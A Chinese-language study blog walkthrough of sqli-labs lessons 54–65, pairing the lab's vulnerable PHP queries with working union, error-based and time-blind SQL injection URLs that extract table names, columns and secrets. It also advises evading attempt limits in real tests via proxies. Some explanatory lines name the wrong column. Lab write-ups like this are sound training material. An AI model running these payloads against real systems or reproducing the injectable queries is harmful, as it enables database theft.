本文记录 SQL 注入的学习过程,资料为 SQLi
SQLi 博客目录
源代码
// Checking the cookie on the page and populate the table with random value.
$times=10
setcookie("challenge", $hash, $expire);
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
原理
此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。
http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
得到表名 FPOCHOM6DT
已经得到表名为 FPOCHOM6DT(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='FPOCHOM6DT'--+
得到列名 Your Password:id,sessid,secret_HNRF,tryy
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_QRJ8 列中,所以我们直接查看该列的内容
http://10.10.10.137/sqli-labs/Less-54/?id=-1'union select 1,2,group_concat(secret_HNRF) from challenges.FPOCHOM6DT--+
将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。
其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。
源代码
// Checking the cookie on the page and populate the table with random value.
$times=14
setcookie("challenge", $hash, $expire);
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
其余和 less54 是一样的,所以我们将上述的语句前添加) 即可,但是这里要求次数为14 次。
测试
http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
得到表名 Your Password:ALV34PWB1K
已经得到表名为 ALV34PWB1K(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ALV34PWB1K'--+
得到列名 Your Password:id,sessid,secret_NI0T,tryy
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_NI0T 列中,所以我们直接查看该列的内容
http://10.10.10.137/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(secret_NI0T) from challenges.ALV34PWB1K--+
将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。
其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。
源代码
// Checking the cookie on the page and populate the table with random value.
$times=14
setcookie("challenge", $hash, $expire);
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
得到表名 Your Password:EK4P0O0C83
已经得到表名为 EK4P0O0C83(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='EK4P0O0C83'--+
得到列名 Your Password:id,sessid,secret_8IMQ,tryy
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容
http://10.10.10.137/sqli-labs/Less-56/?id=-1')union select 1,2,group_concat(secret_8IMQ) from challenges.EK4P0O0C83--+
将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。
其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。
源代码
// Checking the cookie on the page and populate the table with random value.
$times=14
setcookie("challenge", $hash, $expire);
$id=$_GET['id'];
$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
得到表名 Your Password:3FDU6HOWQM
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容
http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3FDU6HOWQM'--+
得到列名 Your Password:id,sessid,secret_U1ME,tryy
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容
http://10.10.10.137/sqli-labs/Less-57/?id=-1"union select 1,2,group_concat(secret_U1ME) from challenges.3FDU6HOWQM--+
将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。
其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。
源代码
$times= 5;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
测试
执行sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用union 联合注入,这里使用报错注入。
http://10.10.10.137/sqli-labs/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
报错
源代码
$times= 5;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
报错
源代码
$times= 5;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
报错
源代码
$times= 5;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-61/?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
报错
源代码
$times= 130;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
测试
此处 union 和报错注入都已经失效了,那我们就要使用延时注入了
http://10.10.10.137/sqli-labs/Less-62/?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。脚本攻击我们放在第三部分,此处就不贴代码了。
源代码
$times= 130;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-63/?id=1'and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于 10 秒
源代码
$times= 130;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-64/?id=1))and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))#
当正确的时候时间很短,当错误的时候时间大于10 秒。
源代码
$times= 130;
$sessid=$_COOKIE['challenge'];
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
测试
http://10.10.10.137/sqli-labs/Less-65/?id=1")and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))#
当正确的时候时间很短,当错误的时候时间大于10 秒。